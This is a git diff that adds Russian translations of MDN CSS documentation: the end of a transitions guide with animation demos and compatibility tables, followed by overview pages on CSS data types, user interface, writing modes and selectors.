+ </div>
+
+ <div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+ </div>
+
+ <div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+ </div>
+
+ <div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<p>Короткая запись синтаксиса:</p>
+
+<pre class="brush: css">div {
+    transition: &lt;property&gt; &lt;duration&gt; &lt;timing-function&gt; &lt;delay&gt;;
+}</pre>
+
+<h2 id="Определение_завершения_перехода">Определение завершения перехода</h2>
+
+<p>Есть событие, срабатывающее, когда переход завершен. Во всех браузерах, совместимых со стандартами, есть событие <code>transitionend</code>, в WebKit есть <code>webkitTransitionEnd</code>. Смотрите таблицу поддержки браузерами для дополнительной информации. У <code>transitionend</code> есть 2 свойства:</p>
+
+<dl>
+ <dt><code>propertyName</code></dt>
+ <dd>Строка, показывающая изменение какого свойства завершено.</dd>
+ <dt><code>elapsedTime</code></dt>
+ <dd>Число с точкой, какое количество времени переход выполнялся, до того как запустилось событие. Это значение не равно свойству {{cssxref("transition-delay")}}.</dd>
+</dl>
+
+<p>Как обычно, используйте метод {{domxref("element.addEventListener()")}}, чтобы следить за этим событием:</p>
+
+<pre class="brush: js">el.addEventListener("transitionend", updateTransition, true);
+</pre>
+
+<div class="note"><strong>Замечание:</strong> Событие <code>transitionend</code> не произойдёт, когда переход был прерван до его завершения, например, если установили {{cssxref("display")}}<code>: none </code>или значение анимируемого свойства изменилось<code>.</code></div>
+
+<h2 id="Когда_у_списков_значений_свойств_разные_длины">Когда у списков значений свойств разные длины</h2>
+
+<p>Если любой список свойств короче, чем другие, его значения повторяюся, чтобы сделать его длину как и у других. Например:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+</pre>
+
+<p>Это рассматривается, как если бы это было:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+
+<p>Похожим образом, если какой-то список свойств длиннее, чем у {{cssxref("transition-property")}}, он обрезается:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+
+<p>Будет интерпретировано как:</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}</pre>
+
+<h2 id="Простой_пример">Простой пример</h2>
+
+<p>Пример 4 секунды выполняет плавное измение шрифта за 2 секунды, после того как пользователь навел мышь на элемент:</p>
+
+<pre class="brush: css">#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+</pre>
+
+<h2 id="Использование_переходов_для_подсвечивания_меню">Использование переходов для подсвечивания меню</h2>
+
+<p>Они часто используются для подсвечения элементов в меню при наведении мыши. С помощью переходов легко сделать такой эффект более привлекательным.</p>
+
+<p>Перед тем, как вы посмотрите на код, возможно захотите <a href="https://codepen.io/anon/pen/WOEpva">посмотреть на живое демо</a> (считаем, что ваш браузер поддерживает переходы). Также можеть <a href="/samples/cssref/transitions/sample2/transitions.css">посмотреть на CSS</a>, используемый этим примером.</p>
+
+<p>Сначала зададим меню в HTML:</p>
+
+<pre class="brush: html">&lt;div class="sidebar"&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="home"&gt;Home&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="about"&gt;About&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="contact"&gt;Contact Us&lt;/a&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;a class="menuButton" href="links"&gt;Links&lt;/a&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Теперь напишем CSS для нашего меню:</p>
+
+<pre class="brush: css">.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  background-color:white;
+  color:black;
+  box-shadow: 2px 2px 1px black;
+}
+</pre>
+
+<p>Этот CSS устанавливает внешний вид меню, с фоном и цветом текста, изменяющимися при наведении ({{cssxref(":hover")}}).</p>
+
+<p>Вместо описания эффекта можете <a href="/samples/cssref/transitions/sample2">посмотреть на живой пример</a>, если ваш <a href="#Browser_compatibility">браузер поддерживает переходы</a>.</p>
+
+<h2 id="Использование_переходов_чтобы_сделать_JavaScript_функциональность_плавной">Использование переходов, чтобы сделать JavaScript функциональность плавной</h2>
+
+<p>Переходы - крутая вещь, чтоб сделать вид вещей плавней, без надобности что-то делать в вашей JS функциональности. Зацените следующий пример:</p>
+
+<pre class="brush: html">&lt;p&gt;Кликните куда-нибудь, чтобы подвинуть шар&lt;/p&gt;
+&lt;div id="foo"&gt;&lt;/div&gt;
+</pre>
+
+<p>Используя JavaScript, добиваемся эффекта перемещения шара на определенную позицию:</p>
+
+<pre class="brush: js">var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.transform = 'translateY('+(ev.clientY-25)+'px)';
+    f.style.transform += 'translateX('+(ev.clientX-25)+'px)';
+},false);
+</pre>
+
+<p>C помощью CSS сглаживаем эффект без дополнительных усилий. Просто добавляем переход и любое измение свойств происходит плавно:</p>
+
+<pre class="brush: css">p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition: transform 1s;
+}
+</pre>
+
+<p>Можете поиграть с этим здесь: <a href="http://jsfiddle.net/9h261pzo/291/">http://jsfiddle.net/9h261pzo/291/</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '', '')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    26.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>10.5 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>3.2 {{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>Событие transitionend</code></td>
+   <td>1.0<sup>[1]</sup><br>
+    26.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.5<sup>[2]</sup><br>
+    12<br>
+    12.10</td>
+   <td>3.2<sup>[1]</sup><br>
+    6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>10</td>
+   <td>10 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>Событие transitionend</code></td>
+   <td>2.1<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>10</td>
+   <td>10<sup>[2]</sup><br>
+    12<br>
+    12.10</td>
+   <td>3.2<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 1.0, WebKit 3.2 и Android 2.1 выполняют нестрандартное событие  <code>webkitTransitionEnd</code>. Chrome 26.0 и WebKit 6.0 придерживаются стандарта <code>transitionend</code>.</p>
+
+<p>[2] Opera 10.5 и Opera Mobile 10 поддерживают <code>oTransitionEnd</code>, версия 12 понимает <code>otransitionend, а</code> версия 12.10 знает стандарт <code>transitionend</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><span><a href="http://techstream.org/Web-Design/Dock-Menu-with-CSS3" title="CSS3 Dock Menu using CSS transitions">Нижнее меню</a> с использованием CSS переходов</span></li>
+ <li>Интерфейс {{domxref("TransitionEvent")}} и событие {{event("transitionend")}}.</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Использование CSS анимаций</a></li>
+</ul>
diff --git a/files/ru/web/css/css_types/index.html b/files/ru/web/css/css_types/index.html
new file mode 100644
index 0000000000..47189715ea
--- /dev/null
+++ b/files/ru/web/css/css_types/index.html
@@ -0,0 +1,59 @@
+---
+title: CSS basic data types
+slug: Web/CSS/CSS_Types
+translation_of: Web/CSS/CSS_Types
+---
+<div>{{CssRef}}</div>
+
+<p>Базовые типы данных в<strong> CSS </strong>определяют типичные значения (включая ключевые слова и единицы измерения), принимаемые CSS свойствами и функциями. Они являются частным случаем <a href="https://www.w3.org/TR/css3-values/#component-types">component value type</a>.</p>
+
+<p>В формальном синтаксисе типы данных обозначаются ключевыми словами, расположенными межу символами неравенства "&lt;" и"&gt;".</p>
+
+<h2 id="Справка">Справка</h2>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;angle&gt;")}}</li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+ <li>{{cssxref("&lt;custom-ident&gt;")}}</li>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+ <li>{{cssxref("&lt;flex&gt;")}}</li>
+ <li>{{cssxref("&lt;frequency&gt;")}}</li>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+ <li>{{cssxref("&lt;length&gt;")}}</li>
+ <li>{{cssxref("&lt;number&gt;")}}</li>
+ <li>{{cssxref("&lt;percentage&gt;")}}</li>
+ <li>{{cssxref("&lt;position&gt;")}}</li>
+ <li>{{cssxref("&lt;ratio&gt;")}}</li>
+ <li>{{cssxref("&lt;resolution&gt;")}}</li>
+ <li>{{cssxref("&lt;shape-box&gt;")}}</li>
+ <li>{{cssxref("&lt;single-transition-timing-function&gt;")}}</li>
+ <li>{{cssxref("&lt;string&gt;")}}</li>
+ <li>{{cssxref("&lt;time&gt;")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("&lt;url&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_user_interface/index.html b/files/ru/web/css/css_user_interface/index.html
new file mode 100644
index 0000000000..c5b0e1b0fe
--- /dev/null
+++ b/files/ru/web/css/css_user_interface/index.html
@@ -0,0 +1,118 @@
+---
+title: CSS Basic User Interface
+slug: Web/CSS/CSS_User_Interface
+tags:
+  - CSS
+  - CSS Basic User Interface
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Basic_User_Interface
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS User Interface</strong> is a CSS module that lets you define the rendering and functionality of features related to the user interface.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Preferences">Preferences</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("cursor")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("outline-width")}}</li>
+ <li>{{cssxref("outline-style")}}</li>
+ <li>{{cssxref("outline-color")}}</li>
+ <li>{{cssxref("outline-offset")}}</li>
+ <li>{{cssxref("resize")}}</li>
+ <li>{{cssxref("text-overflow")}}</li>
+ <li>{{cssxref("nav-down")}}</li>
+ <li>{{cssxref("nav-left")}}</li>
+ <li>{{cssxref("nav-right")}}</li>
+ <li>{{cssxref("nav-up")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_User_Interface/Using_URL_values_for_the_cursor_property">Using URL values for the <code>cursor</code> property</a></dt>
+ <dd>Explains how a URL can be used with the {{cssxref("cursor")}} property to produce custom cursors.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.5 (1.8)</td>
+   <td>8.0</td>
+   <td>7.0</td>
+   <td>1.2 (125)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1.8)}}</td>
+   <td>8.0</td>
+   <td>6.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_writing_modes/index.html b/files/ru/web/css/css_writing_modes/index.html
new file mode 100644
index 0000000000..050c25d5b0
--- /dev/null
+++ b/files/ru/web/css/css_writing_modes/index.html
@@ -0,0 +1,62 @@
+---
+title: Режимы письма CSS
+slug: Web/CSS/CSS_Writing_Modes
+tags:
+  - CSS
+  - Режимы письма
+translation_of: Web/CSS/CSS_Writing_Modes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Режимы письма CSS</strong> (CSS Writing Modes) - это CSS модуль, который определяет различные международные режимы письма, такие как:</p>
+
+<ul>
+ <li>слева направо (left-to-right), например, используется в латинском и индийском языках;</li>
+ <li>справа налево (right-to-left), например, используется в иврите или арабском языках;</li>
+ <li>двунаправленный (bidirectional), используется, когда смешиваются языки с письмом слева направо и справа налево;</li>
+ <li>вертикальный (vertical), например, используется в некоторых азиатских языках. </li>
+</ul>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<h3 id="Свойства">Свойства</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("glyph-orientation-horizontal")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_селекторы/index.html b/files/ru/web/css/css_селекторы/index.html
new file mode 100644
index 0000000000..8745681718
--- /dev/null
+++ b/files/ru/web/css/css_селекторы/index.html
@@ -0,0 +1,122 @@
+---
+title: CSS-селекторы
+slug: Web/CSS/CSS_Селекторы
+tags:
+  - CSS
+  - Обзор
+  - Селекторы
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Селектор </strong>определяет, к какому элементу применять то или иное CSS-правило.</p>
+
+<p>Обратите внимание - не существует селекторов, которые бы позволили выбрать родителя (содержащий контейнер) или соседа родителя или потомков соседа родителя.</p>
+
+<h2 id="Базовые_селекторы">Базовые селекторы</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors">Универсальный селектор</a></dt>
+ <dd>Выбирает все элементы. По желанию, он может быть ограничен определенным пространством имен или относиться ко всему пространству имён.<br>
+ <strong>Синтаксис:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br>
+ <strong>Пример:</strong> <code>*</code> будет соответствовать всем элементам на странице.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Type_selectors">Селекторы по типу элемента</a></dt>
+ <dd>Этот базовый селектор выбирает тип элементов, к которым будет применяться правило.<br>
+ <strong>Синтаксис: </strong> <code><var>элемент</var></code><br>
+ <strong>Пример: </strong>селектор<strong> </strong><code>input</code> выберет все элементы {{HTMLElement('input')}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Селекторы по классу</a></dt>
+ <dd>Этот базовый селектор выбирает элементы, основываясь на значении их атрибута <code>class</code>.<br>
+ <strong>Синтаксис: </strong> <code>.<em>имяКласса</em></code><br>
+ <strong>Пример: </strong>селектор<strong> </strong><code>.index</code> выберет все элементы с соответствующим классом (который был определен в атрибуте <code>class="index"</code>).</dd>
+ <dt><a href="/en-US/docs/Web/CSS/ID_selectors">Селекторы по идентификатору</a></dt>
+ <dd>Этот базовый селектор выбирает элементы, основываясь на значении их <code>id</code> атрибута. Не забывайте, что идентификатор должен быть уникальным, т. е. использоваться только для одного элемента в HTML-документе. <br>
+ <strong>Синтаксис: </strong> <code>#имяИдентификатора</code><br>
+ <strong>Пример: </strong>селектор <code>#toc</code> выберет элемент с идентификатором toc (который был определен в атрибуте <code>id="toc"</code>).</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Селекторы по атрибуту</a></dt>
+ <dd>Этот селектор выбирает все элементы, имеющие данный атрибут или атрибут с определённым значением.<br>
+ <strong>Синтаксис:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br>
+ <strong>Пример: </strong>селектор <code>[autoplay]</code> выберет все элементы, у которых есть  атрибут <code>autoplay</code> (независимо от его значения).<br>
+ <strong>Ещё пример</strong>: a[href$=".jpg"] выберет все ссылки, у которых адрес заканчивается на ".jpg".<br>
+ <strong>Ещё пример</strong>: a[href^="https"] выберет все ссылки, у которых адрес начинается на "https".</dd>
+</dl>
+
+<h2 id="Комбинаторы">Комбинаторы</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Comma_combinator">Комбинатор запятая</a></dt>
+ <dd>Комбинатор <code>,</code> это способ группировки, он выбирает все совпадающие узлы.<br>
+ <strong>Синтаксис:</strong> <code style="white-space: nowrap;"><var>A</var>, <var>B</var></code><br>
+ <strong>Пример:</strong> <code>div, span</code> выберет оба элемента - и {{HTMLElement("div")}} и {{HTMLElement("span")}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Descendant_selectors">Комбинатор потомков</a></dt>
+ <dd>Комбинатор <code>' '</code> (пробел) выбирает элементы, которые находятся внутри указанного элемента (вне зависимости от уровня вложенности).<br>
+ <strong>Синтаксис:</strong> <code>A B</code><br>
+ <strong>Пример: </strong>селектор <code>div span</code> выберет все элементы {{HTMLElement('span')}}, которые находятся внутри элемента {{HTMLElement('div')}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Child_selectors">Дочерние селекторы</a></dt>
+ <dd>Комбинатор <code>'&gt;'</code> в отличие от пробела выбирает только те элементы, которые являются дочерними непосредственно по отношению к указанному элементу.<br>
+ <strong>Синтаксис:</strong> <code><var>A</var> &gt; <var>B</var></code><br>
+ <strong>Пример: </strong>селектор<strong> </strong><code>ul &gt; li</code> выберет только дочерние элементы {{HTMLElement('li')}}, которые находятся внутри, на первом уровне вложенности по отношению к элементу {{HTMLElement('ul')}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/General_sibling_selectors">Комбинатор всех соседних элементов</a></dt>
+ <dd>Комбинатор <code>'~'</code> выбирает элементы, которые находятся на этом же уровне вложенности, после указанного элемента, с тем же родителем.<br>
+ <strong>Синтаксис:</strong> <code><var>A</var> ~ <var>B</var></code><br>
+ <strong>Пример:</strong> <code>p ~ span</code> выберет все элементы {{HTMLElement('span')}}, которые находятся после элемента {{HTMLElement('p')}} внутри одного родителя.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Комбинатор следующего соседнего элемента</a></dt>
+ <dd>Комбинатор <code>'+'</code> выбирает элемент, который находится непосредственно после указанного элемента, если у них общий родитель.<br>
+ <strong>Синтаксис:</strong> <code><var>A</var> + <var>B</var></code><br>
+ <strong>Пример: </strong>селектор <code>ul + li</code> выберет любой {{HTMLElement('li')}} элемент, который  находится непосредственно после элемента {{HTMLElement('ul')}}.</dd>
+</dl>
+
+<h2 id="Псевдо">Псевдо</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">Псевдоклассы</a></dt>
+ <dd>Знак <code>:</code> позволяет выбрать элементы, основываясь на информации, которой нет в дереве элементов.<br>
+ <strong>Пример: </strong><code>a:visited</code> соответствует всем элементам {{HTMLElement("a")}} которые имеют статус "посещённые".<br>
+ <strong>Ещё пример</strong>: <code>div:hover</code> соответствует элементу, над которым проходит указатель мыши.<br>
+ <strong>Ещё пример</strong>: <code>input:focus</code> соответствует полю ввода, которое получило фокус.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">Псевдоэлементы</a></dt>
+ <dd>Знак <code>::</code> позволяет выбрать вещи, которых нет в HTML.<br>
+ <strong>Пример:</strong> <code>p::first-line</code> соответствует первой линии абзаца {{HTMLElement("p")}}.</dd>
+</dl>
+
+<h2 id="Версии_CSS">Версии CSS</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Добавление комбинатора колонок <code>||</code> , селекторов структуры сеточной разметки (CSS grid selector), логических комбинаторов, местоположения, временных, состояния ресурсов, лингвистических и UI псевдоклассов, модификаторов для ASCII регистрозависимых и регистронезависимых атрибутов со значениями и без них.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Добавлен комбинатор <code>~</code> и древовидные структурные псевдоклассы.<br>
+    Сделаны псевдоэлементы, использующие префик <code>::</code> двойное двоеточие. Селекторы дополнительных атрибутов.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Добавлен комбинатор потомков <code>&gt;</code> и комбинатор следующего соседа <code>+</code> .<br>
+    Добавлен <strong>универсальный (*) </strong> комбинатор и <strong>селектор атрибутов.</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS/Specificity">CSS специфичность</a></p>
diff --git a/files/ru/web/css/css_селекторы/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/ru/web/css/css_селекторы/using_the__colon_target_pseudo-class_in_selectors/index.html
new file mode 100644
index 0000000000..f737d2cb6d
--- /dev/null
+++ b/files/ru/web/css/css_селекторы/using_the__colon_target_pseudo-class_in_selectors/index.html
@@ -0,0 +1,62 @@
+---
+title: 'Использование псевдокласса :target в селекторах'
+slug: 'Web/CSS/CSS_Селекторы/Using_the_:target_pseudo-class_in_selectors'
